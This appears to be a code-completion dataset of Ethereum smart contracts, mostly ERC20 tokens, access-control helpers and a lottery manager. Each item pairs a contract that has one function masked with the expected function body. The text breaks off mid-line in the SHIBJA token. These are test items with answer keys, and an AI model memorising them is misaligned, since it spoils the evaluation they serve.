contract FBT is ERC20 { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bytes1) addresslevels; mapping (address => uint256) feebank; uint256 public totalSupply; uint256 public pieceprice; uint256 public datestart; uint256 public totalaccumulated; address dev1 = 0xFAB873F0f71dCa84CA33d959C8f017f886E10C63; address dev2 = 0xD7E9aB6a7a5f303D3Cd17DcaEFF254D87757a1F8; function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); refundFees(); return true; } else revert(); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); refundFees(); return true; } else revert(); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function refundFees() { uint256 refund = 200000*tx.gasprice; if (feebank[msg.sender]>=refund) { msg.sender.transfer(refund); feebank[msg.sender]-=refund; } } }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) returns (bool success)
function approve(address _spender, uint256 _value) returns (bool success)
62997
ERC20Token
ERC20Token
contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) {<FILL_FUNCTION_BODY> } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; <FILL_FUNCTION> function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 666666666000000000000000000; totalSupply = 1000000000000000000000000000; name = "SISURI - THE Moral AI"; decimals = 18; symbol = "MORAL";
function ERC20Token( )
function ERC20Token( )
55513
DexterCoin
burn
contract DexterCoin is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string public name; uint8 public decimals; string public symbol; constructor() public { decimals = 18; _totalSupply = 20724420 * 10 ** uint(decimals); _balances[msg.sender] = _totalSupply; name = "DEXTER"; symbol = "DXR"; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function burn(uint256 value) public {<FILL_FUNCTION_BODY> } }
contract DexterCoin is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string public name; uint8 public decimals; string public symbol; constructor() public { decimals = 18; _totalSupply = 20724420 * 10 ** uint(decimals); _balances[msg.sender] = _totalSupply; name = "DEXTER"; symbol = "DXR"; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } <FILL_FUNCTION> }
require(value <= _balances[msg.sender]); _totalSupply = _totalSupply.sub(value); _balances[msg.sender] = _balances[msg.sender].sub(value); emit Transfer(msg.sender, address(0), value);
function burn(uint256 value) public
function burn(uint256 value) public
5008
Permissions
verify
contract Permissions { mapping (address=>bool) public permits; event AddPermit(address _addr); event RemovePermit(address _addr); event ChangeAdmin(address indexed _newAdmin,address indexed _oldAdmin); address public admin; bytes32 public adminChangeKey; function verify(bytes32 root,bytes32 leaf,bytes32[] memory proof) public pure returns (bool) {<FILL_FUNCTION_BODY> } function changeAdmin(address _newAdmin,bytes32 _keyData,bytes32[] memory merkleProof,bytes32 _newRootKey) public onlyAdmin { bytes32 leaf = keccak256(abi.encodePacked(msg.sender,'RATToken',_keyData)); require(verify(adminChangeKey, leaf,merkleProof), 'Invalid proof.'); admin = _newAdmin; adminChangeKey = _newRootKey; emit ChangeAdmin(_newAdmin,msg.sender); } constructor() public { permits[msg.sender] = true; admin = msg.sender; adminChangeKey = 0xc07b01d617f249e77fe6f0df68daa292fe6ec653a9234d277713df99c0bb8ebf; } modifier onlyAdmin(){ require(msg.sender == admin); _; } modifier onlyPermits(){ require(permits[msg.sender] == true); _; } function isPermit(address _addr) public view returns(bool){ return permits[_addr]; } function addPermit(address _addr) public onlyAdmin{ if(permits[_addr] == false){ permits[_addr] = true; emit AddPermit(_addr); } } function removePermit(address _addr) public onlyAdmin{ permits[_addr] = false; emit RemovePermit(_addr); } }
contract Permissions { mapping (address=>bool) public permits; event AddPermit(address _addr); event RemovePermit(address _addr); event ChangeAdmin(address indexed _newAdmin,address indexed _oldAdmin); address public admin; bytes32 public adminChangeKey; <FILL_FUNCTION> function changeAdmin(address _newAdmin,bytes32 _keyData,bytes32[] memory merkleProof,bytes32 _newRootKey) public onlyAdmin { bytes32 leaf = keccak256(abi.encodePacked(msg.sender,'RATToken',_keyData)); require(verify(adminChangeKey, leaf,merkleProof), 'Invalid proof.'); admin = _newAdmin; adminChangeKey = _newRootKey; emit ChangeAdmin(_newAdmin,msg.sender); } constructor() public { permits[msg.sender] = true; admin = msg.sender; adminChangeKey = 0xc07b01d617f249e77fe6f0df68daa292fe6ec653a9234d277713df99c0bb8ebf; } modifier onlyAdmin(){ require(msg.sender == admin); _; } modifier onlyPermits(){ require(permits[msg.sender] == true); _; } function isPermit(address _addr) public view returns(bool){ return permits[_addr]; } function addPermit(address _addr) public onlyAdmin{ if(permits[_addr] == false){ permits[_addr] = true; emit AddPermit(_addr); } } function removePermit(address _addr) public onlyAdmin{ permits[_addr] = false; emit RemovePermit(_addr); } }
bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash < proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root;
function verify(bytes32 root,bytes32 leaf,bytes32[] memory proof) public pure returns (bool)
function verify(bytes32 root,bytes32 leaf,bytes32[] memory proof) public pure returns (bool)
2638
EpisodeManager
changeBranch
contract EpisodeManager { address public owner; address public wallet; //max token supply uint256 public cap = 50; address public randaoAddress; address public lotteryAddress; InterfaceWallet public lottery = InterfaceWallet(0x0); InterfaceRandao public randao = InterfaceRandao(0x0); bool public started = false; uint256 public episodesNum = 0; //Episode - (branch => (step => random and command)) struct CommandAndRandom { uint256 random; string command; bool isSet; } //Episode - (branches => (branch and cost)) struct BranchAndCost { uint256 price; bool isBranch; } struct Episode { //(branch => (step => random and command)) mapping (uint256 => mapping(uint256 => CommandAndRandom)) data; //(branches => (branch and cost)) mapping (uint256 => BranchAndCost) branches; bool isEpisode; } mapping (uint256 => Episode) public episodes; modifier onlyOwner() { require(msg.sender == owner); _; } function EpisodeManager(address _randao, address _wallet) public { require(_randao != address(0)); require(_wallet != address(0)); owner = msg.sender; wallet = _wallet; randaoAddress = _randao; randao = InterfaceRandao(_randao); } function setLottery(address _lottery) public { require(!started); lotteryAddress = _lottery; lottery = InterfaceWallet(_lottery); started = true; } function changeRandao(address _randao) public onlyOwner { randaoAddress = _randao; randao = InterfaceRandao(_randao); } function addEpisode() public onlyOwner returns (bool) { episodesNum++; episodes[episodesNum].isEpisode = true; return true; } function addEpisodeData( uint256 _branch, uint256 _step, uint256 _campaignID, string _command) public onlyOwner returns (bool) { require(_branch > 0); require(_step > 0); require(_campaignID > 0); require(episodes[episodesNum].isEpisode); require(!episodes[episodesNum].data[_branch][_step].isSet); episodes[episodesNum].data[_branch][_step].random = randao.getRandom(_campaignID); episodes[episodesNum].data[_branch][_step].command = _command; episodes[episodesNum].data[_branch][_step].isSet = true; return true; } function addNewBranchInEpisode(uint256 _branch, uint256 _price) public onlyOwner returns (bool) { require(_branch > 0); require(!episodes[episodesNum].branches[_branch].isBranch); episodes[episodesNum].branches[_branch].price = _price; episodes[episodesNum].branches[_branch].isBranch = true; return true; } function changeBranch(uint256 _id, uint8 _branch) public payable returns(bool) {<FILL_FUNCTION_BODY> } function changeState(uint256 _id, uint8 _state) public onlyOwner returns (bool) { require(_id > 0 && _id <= cap); require(_state <= 1); return lottery.changeState(_id, _state); } function getEpisodeDataRandom(uint256 _episodeID, uint256 _branch, uint256 _step) public view returns (uint256) { return episodes[_episodeID].data[_branch][_step].random; } function getEpisodeDataCommand(uint256 _episodeID, uint256 _branch, uint256 _step) public view returns (string) { return episodes[_episodeID].data[_branch][_step].command; } function getEpisodeBranchData(uint256 _episodeID, uint256 _branch) public view returns (uint256) { return episodes[_episodeID].branches[_branch].price; } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } }
contract EpisodeManager { address public owner; address public wallet; //max token supply uint256 public cap = 50; address public randaoAddress; address public lotteryAddress; InterfaceWallet public lottery = InterfaceWallet(0x0); InterfaceRandao public randao = InterfaceRandao(0x0); bool public started = false; uint256 public episodesNum = 0; //Episode - (branch => (step => random and command)) struct CommandAndRandom { uint256 random; string command; bool isSet; } //Episode - (branches => (branch and cost)) struct BranchAndCost { uint256 price; bool isBranch; } struct Episode { //(branch => (step => random and command)) mapping (uint256 => mapping(uint256 => CommandAndRandom)) data; //(branches => (branch and cost)) mapping (uint256 => BranchAndCost) branches; bool isEpisode; } mapping (uint256 => Episode) public episodes; modifier onlyOwner() { require(msg.sender == owner); _; } function EpisodeManager(address _randao, address _wallet) public { require(_randao != address(0)); require(_wallet != address(0)); owner = msg.sender; wallet = _wallet; randaoAddress = _randao; randao = InterfaceRandao(_randao); } function setLottery(address _lottery) public { require(!started); lotteryAddress = _lottery; lottery = InterfaceWallet(_lottery); started = true; } function changeRandao(address _randao) public onlyOwner { randaoAddress = _randao; randao = InterfaceRandao(_randao); } function addEpisode() public onlyOwner returns (bool) { episodesNum++; episodes[episodesNum].isEpisode = true; return true; } function addEpisodeData( uint256 _branch, uint256 _step, uint256 _campaignID, string _command) public onlyOwner returns (bool) { require(_branch > 0); require(_step > 0); require(_campaignID > 0); require(episodes[episodesNum].isEpisode); require(!episodes[episodesNum].data[_branch][_step].isSet); episodes[episodesNum].data[_branch][_step].random = randao.getRandom(_campaignID); episodes[episodesNum].data[_branch][_step].command = _command; episodes[episodesNum].data[_branch][_step].isSet = true; return true; } function addNewBranchInEpisode(uint256 _branch, uint256 _price) public onlyOwner returns (bool) { require(_branch > 0); require(!episodes[episodesNum].branches[_branch].isBranch); episodes[episodesNum].branches[_branch].price = _price; episodes[episodesNum].branches[_branch].isBranch = true; return true; } <FILL_FUNCTION> function changeState(uint256 _id, uint8 _state) public onlyOwner returns (bool) { require(_id > 0 && _id <= cap); require(_state <= 1); return lottery.changeState(_id, _state); } function getEpisodeDataRandom(uint256 _episodeID, uint256 _branch, uint256 _step) public view returns (uint256) { return episodes[_episodeID].data[_branch][_step].random; } function getEpisodeDataCommand(uint256 _episodeID, uint256 _branch, uint256 _step) public view returns (string) { return episodes[_episodeID].data[_branch][_step].command; } function getEpisodeBranchData(uint256 _episodeID, uint256 _branch) public view returns (uint256) { return episodes[_episodeID].branches[_branch].price; } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } }
require(_branch > 0); require(episodes[episodesNum].branches[_branch].isBranch); require((msg.sender == lottery.getHolder(_id)) || (msg.sender == owner)); if (episodes[episodesNum].branches[_branch].price == 0) { lottery.changeBranch(_id, _branch); } else { require(msg.value == episodes[episodesNum].branches[_branch].price); lottery.changeBranch(_id, _branch); forwardFunds(); } return true;
function changeBranch(uint256 _id, uint8 _branch) public payable returns(bool)
function changeBranch(uint256 _id, uint8 _branch) public payable returns(bool)
41324
ProtosToken
unfreezeTransfers
contract ProtosToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. */ uint256 constant MAX_TOKEN_COUNT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // 2^256 - 1 /** * Address of the owner of this smart contract. */ address owner; /** * Current number of tokens in circulation */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new Protos Token smart contract and make message sender to be the * owner of the smart contract. */ function ProtosToken () AbstractToken () { owner = msg.sender; } /** * Get name of this token. * * @return name of this token */ function name () constant returns (string result) { return "PROTOS"; } /** * Get symbol of this token. * * @return symbol of this token */ function symbol () constant returns (string result) { return "PRTS"; } /** * Get number of decimals for this token. * * @return number of decimals for this token */ function decimals () constant returns (uint8 result) { return 0; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () constant returns (uint256 supply) { return tokenCount; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, this method * receives assumed current allowance value as an argument. If actual * allowance differs from an assumed one, this method just returns false. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _currentValue assumed number of tokens currently allowed to be * transferred * @param _newValue number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _currentValue, uint256 _newValue) returns (bool success) { if (allowance (msg.sender, _spender) == _currentValue) return approve (_spender, _newValue); else return false; } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens (uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); } return true; } /** * Burn given number of tokens belonging to message sender. * * @param _value number of tokens to burn * @return true on success, false on error */ function burnTokens (uint256 _value) returns (bool success) { uint256 ownerBalance = accounts [msg.sender]; if (_value > ownerBalance) return false; else if (_value > 0) { accounts [msg.sender] = safeSub (ownerBalance, _value); tokenCount = safeSub (tokenCount, _value); return true; } else return true; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner (address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () {<FILL_FUNCTION_BODY> } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); }
contract ProtosToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. */ uint256 constant MAX_TOKEN_COUNT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // 2^256 - 1 /** * Address of the owner of this smart contract. */ address owner; /** * Current number of tokens in circulation */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new Protos Token smart contract and make message sender to be the * owner of the smart contract. */ function ProtosToken () AbstractToken () { owner = msg.sender; } /** * Get name of this token. * * @return name of this token */ function name () constant returns (string result) { return "PROTOS"; } /** * Get symbol of this token. * * @return symbol of this token */ function symbol () constant returns (string result) { return "PRTS"; } /** * Get number of decimals for this token. * * @return number of decimals for this token */ function decimals () constant returns (uint8 result) { return 0; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply () constant returns (uint256 supply) { return tokenCount; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer (address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom (address _from, address _to, uint256 _value) returns (bool success) { if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, this method * receives assumed current allowance value as an argument. If actual * allowance differs from an assumed one, this method just returns false. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _currentValue assumed number of tokens currently allowed to be * transferred * @param _newValue number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _currentValue, uint256 _newValue) returns (bool success) { if (allowance (msg.sender, _spender) == _currentValue) return approve (_spender, _newValue); else return false; } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens (uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); } return true; } /** * Burn given number of tokens belonging to message sender. * * @param _value number of tokens to burn * @return true on success, false on error */ function burnTokens (uint256 _value) returns (bool success) { uint256 ownerBalance = accounts [msg.sender]; if (_value > ownerBalance) return false; else if (_value > 0) { accounts [msg.sender] = safeSub (ownerBalance, _value); tokenCount = safeSub (tokenCount, _value); return true; } else return true; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner (address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } <FILL_FUNCTION> /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); }
require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); }
function unfreezeTransfers ()
/** * Unfreeze token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers ()
36862
AccessControl
removeSERAPHIM
contract AccessControl { address public creatorAddress; uint16 public totalSeraphims = 0; mapping (address => bool) public seraphims; bool public isMaintenanceMode = true; modifier onlyCREATOR() { require(msg.sender == creatorAddress); _; } modifier onlySERAPHIM() { require(seraphims[msg.sender] == true); _; } modifier isContractActive { require(!isMaintenanceMode); _; } // Constructor function AccessControl() public { creatorAddress = msg.sender; } function addSERAPHIM(address _newSeraphim) onlyCREATOR public { if (seraphims[_newSeraphim] == false) { seraphims[_newSeraphim] = true; totalSeraphims += 1; } } function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {<FILL_FUNCTION_BODY> } function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public { isMaintenanceMode = _isMaintaining; } }
contract AccessControl { address public creatorAddress; uint16 public totalSeraphims = 0; mapping (address => bool) public seraphims; bool public isMaintenanceMode = true; modifier onlyCREATOR() { require(msg.sender == creatorAddress); _; } modifier onlySERAPHIM() { require(seraphims[msg.sender] == true); _; } modifier isContractActive { require(!isMaintenanceMode); _; } // Constructor function AccessControl() public { creatorAddress = msg.sender; } function addSERAPHIM(address _newSeraphim) onlyCREATOR public { if (seraphims[_newSeraphim] == false) { seraphims[_newSeraphim] = true; totalSeraphims += 1; } } <FILL_FUNCTION> function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public { isMaintenanceMode = _isMaintaining; } }
if (seraphims[_oldSeraphim] == true) { seraphims[_oldSeraphim] = false; totalSeraphims -= 1; }
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public
74511
Freezable
freezeAccount
contract Freezable is Ownership { bool public emergencyFreeze; mapping(address => bool) public frozen; event LogFreezed(address indexed target, bool freezeStatus); event LogEmergencyFreezed(bool emergencyFreezeStatus); modifier unfreezed(address _account) { require(!frozen[_account], "Account is freezed"); _; } modifier noEmergencyFreeze() { require(!emergencyFreeze, "Contract is emergency freezed"); _; } /** * @dev Freezes or unfreezes an addreess * this does not check for previous state before applying new state * @param _target the address which will be feeezed. * @param _freeze boolean status. Use true to freeze and false to unfreeze. */ function freezeAccount (address _target, bool _freeze) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Freezes or unfreezes the contract * this does not check for previous state before applying new state * @param _freeze boolean status. Use true to freeze and false to unfreeze. */ function emergencyFreezeAllAccounts (bool _freeze) public onlyOwner { emergencyFreeze = _freeze; emit LogEmergencyFreezed(_freeze); } }
contract Freezable is Ownership { bool public emergencyFreeze; mapping(address => bool) public frozen; event LogFreezed(address indexed target, bool freezeStatus); event LogEmergencyFreezed(bool emergencyFreezeStatus); modifier unfreezed(address _account) { require(!frozen[_account], "Account is freezed"); _; } modifier noEmergencyFreeze() { require(!emergencyFreeze, "Contract is emergency freezed"); _; } <FILL_FUNCTION> /** * @dev Freezes or unfreezes the contract * this does not check for previous state before applying new state * @param _freeze boolean status. Use true to freeze and false to unfreeze. */ function emergencyFreezeAllAccounts (bool _freeze) public onlyOwner { emergencyFreeze = _freeze; emit LogEmergencyFreezed(_freeze); } }
require(_target != address(0), "Zero address not allowed"); frozen[_target] = _freeze; emit LogFreezed(_target, _freeze);
function freezeAccount (address _target, bool _freeze) public onlyOwner
/** * @dev Freezes or unfreezes an addreess * this does not check for previous state before applying new state * @param _target the address which will be feeezed. * @param _freeze boolean status. Use true to freeze and false to unfreeze. */ function freezeAccount (address _target, bool _freeze) public onlyOwner
40379
CHIMinter
mint
contract CHIMinter { constructor() public { _owner = msg.sender; } modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; if(chi.balanceOf(address(this)) > 0) { chi.freeFromUpTo(address(this), (gasSpent + 14154) / 41947); } else { chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } } IChiToken public constant chi = IChiToken(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); IGST public constant gst = IGST(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); address _owner; function mint(uint256 amtChi, uint256 amtGst) external discountCHI {<FILL_FUNCTION_BODY> } }
contract CHIMinter { constructor() public { _owner = msg.sender; } modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; if(chi.balanceOf(address(this)) > 0) { chi.freeFromUpTo(address(this), (gasSpent + 14154) / 41947); } else { chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947); } } IChiToken public constant chi = IChiToken(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); IGST public constant gst = IGST(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); address _owner; <FILL_FUNCTION> }
require(_owner == msg.sender, 'Not owner'); chi.mint(amtChi); gst.mint(amtGst); uint chiBalance = chi.balanceOf(address(this)); uint gstBalance = gst.balanceOf(address(this)); if (chiBalance > 0) chi.transfer(msg.sender, chiBalance); if (gstBalance > 0) gst.transfer(msg.sender, gstBalance);
function mint(uint256 amtChi, uint256 amtGst) external discountCHI
function mint(uint256 amtChi, uint256 amtGst) external discountCHI
93705
SHIBJA
null
contract SHIBJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shibja Inu"; string private constant _symbol = "SHIBJA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i 